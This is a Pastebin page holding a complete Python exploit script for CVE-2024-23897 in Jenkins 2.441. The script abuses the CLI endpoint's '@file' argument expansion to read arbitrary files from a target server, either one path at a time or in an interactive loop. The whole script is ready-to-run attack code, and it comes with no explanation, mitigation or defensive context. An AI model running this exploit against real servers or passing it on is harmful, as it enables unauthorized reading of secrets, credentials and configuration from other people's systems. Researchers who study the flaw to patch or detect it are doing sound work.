Advertisement
FlyFar

Jenkins 2.441 - Local File Inclusion - CVE-2024-23897

Apr 18th, 2024 (edited)
890
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.44 KB | Cybersecurity | 0 0
  1. # Exploit Title: Jenkins 2.441 - Local File Inclusion
  2. # Date: 14/04/2024
  3. # Exploit Author: Matisse Beckandt (Backendt)
  4. # Vendor Homepage: https://www.jenkins.io/
  5. # Software Link: https://github.com/jenkinsci/jenkins/archive/refs/tags/jenkins-2.441.zip
  6. # Version: 2.441
  7. # Tested on: Debian 12 (Bookworm)
  8. # CVE: CVE-2024-23897
  9.  
  10. from argparse import ArgumentParser
  11. from requests import Session, post, exceptions
  12. from threading import Thread
  13. from uuid import uuid4
  14. from time import sleep
  15. from re import findall
  16.  
  17. class Exploit(Thread):
  18.   def __init__(self, url: str, identifier: str):
  19.     Thread.__init__(self)
  20.     self.daemon = True
  21.     self.url = url
  22.     self.params = {"remoting": "false"}
  23.     self.identifier = identifier
  24.     self.stop_thread = False
  25.     self.listen = False
  26.  
  27.   def run(self):
  28.     while not self.stop_thread:
  29.       if self.listen:
  30.         self.listen_and_print()
  31.  
  32.   def stop(self):
  33.     self.stop_thread = True
  34.  
  35.   def receive_next_message(self):
  36.     self.listen = True
  37.  
  38.   def wait_for_message(self):
  39.     while self.listen:
  40.       sleep(0.5)
  41.  
  42.   def print_formatted_output(self, output: str):
  43.     if "ERROR: No such file" in output:
  44.       print("File not found.")
  45.     elif "ERROR: Failed to parse" in output:
  46.       print("Could not read file.")
  47.  
  48.     expression = "No such agent \"(.*)\" exists."
  49.     results = findall(expression, output)
  50.     print("\n".join(results))
  51.  
  52.   def listen_and_print(self):
  53.     session = Session()
  54.     headers = {"Side": "download", "Session": self.identifier}
  55.     try:
  56.       response = session.post(self.url, params=self.params, headers=headers)
  57.     except (exceptions.ConnectTimeout, exceptions.ConnectionError):
  58.       print("Could not connect to target to setup the listener.")
  59.       exit(1)
  60.  
  61.     self.print_formatted_output(response.text)
  62.     self.listen = False
  63.  
  64.   def send_file_request(self, filepath: str):
  65.     headers = {"Side": "upload", "Session": self.identifier}
  66.     payload = get_payload(filepath)
  67.     try:
  68.       post(self.url, data=payload, params=self.params, headers=headers, timeout=4)
  69.     except (exceptions.ConnectTimeout, exceptions.ConnectionError):
  70.       print("Could not connect to the target to send the request.")
  71.       exit(1)
  72.  
  73.   def read_file(self, filepath: str):
  74.     self.receive_next_message()
  75.     sleep(0.1)
  76.     self.send_file_request(filepath)
  77.     self.wait_for_message()
  78.  
  79. def get_payload_message(operation_index: int, text: str) -> bytes:
  80.   text_bytes = bytes(text, "utf-8")
  81.   text_size = len(text_bytes)
  82.   text_message = text_size.to_bytes(2) + text_bytes
  83.   message_size = len(text_message)
  84.  
  85.   payload = message_size.to_bytes(4) + operation_index.to_bytes(1) + text_message
  86.   return payload
  87.  
  88. def get_payload(filepath: str) -> bytes:
  89.   arg_operation = 0
  90.   start_operation = 3
  91.  
  92.   command = get_payload_message(arg_operation, "connect-node")
  93.   poisoned_argument = get_payload_message(arg_operation, f"@{filepath}")
  94.  
  95.   payload = command + poisoned_argument + start_operation.to_bytes(1)
  96.   return payload
  97.  
  98. def start_interactive_file_read(exploit: Exploit):
  99.   print("Press Ctrl+C to exit")
  100.   while True:
  101.     filepath = input("File to download:\n> ")
  102.     filepath = make_path_absolute(filepath)
  103.     exploit.receive_next_message()
  104.  
  105.     try:
  106.       exploit.read_file(filepath)
  107.     except exceptions.ReadTimeout:
  108.       print("Payload request timed out.")
  109.  
  110. def make_path_absolute(filepath: str) -> str:
  111.     if not filepath.startswith('/'):
  112.       return f"/proc/self/cwd/{filepath}"
  113.     return filepath
  114.  
  115. def format_target_url(url: str) -> str:
  116.   if url.endswith('/'):
  117.     url = url[:-1]
  118.   return f"{url}/cli"
  119.  
  120. def get_arguments():
  121.   parser = ArgumentParser(description="Local File Inclusion exploit for CVE-2024-23897")
  122.   parser.add_argument("-u", "--url", required=True, help="The url of the vulnerable Jenkins service. Ex: http://helloworld.com/")
  123.   parser.add_argument("-p", "--path", help="The absolute path of the file to download")
  124.   return parser.parse_args()
  125.  
  126. def main():
  127.   args = get_arguments()
  128.   url = format_target_url(args.url)
  129.   filepath = args.path
  130.   identifier = str(uuid4())
  131.  
  132.   exploit = Exploit(url, identifier)
  133.   exploit.start()
  134.  
  135.   if filepath:
  136.     filepath = make_path_absolute(filepath)
  137.     exploit.read_file(filepath)
  138.     exploit.stop()
  139.     return
  140.  
  141.   try:
  142.     start_interactive_file_read(exploit)
  143.   except KeyboardInterrupt:
  144.     pass
  145.   print("\nQuitting")
  146.   exploit.stop()
  147.  
  148. if __name__ == "__main__":
  149.   main()
  150.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement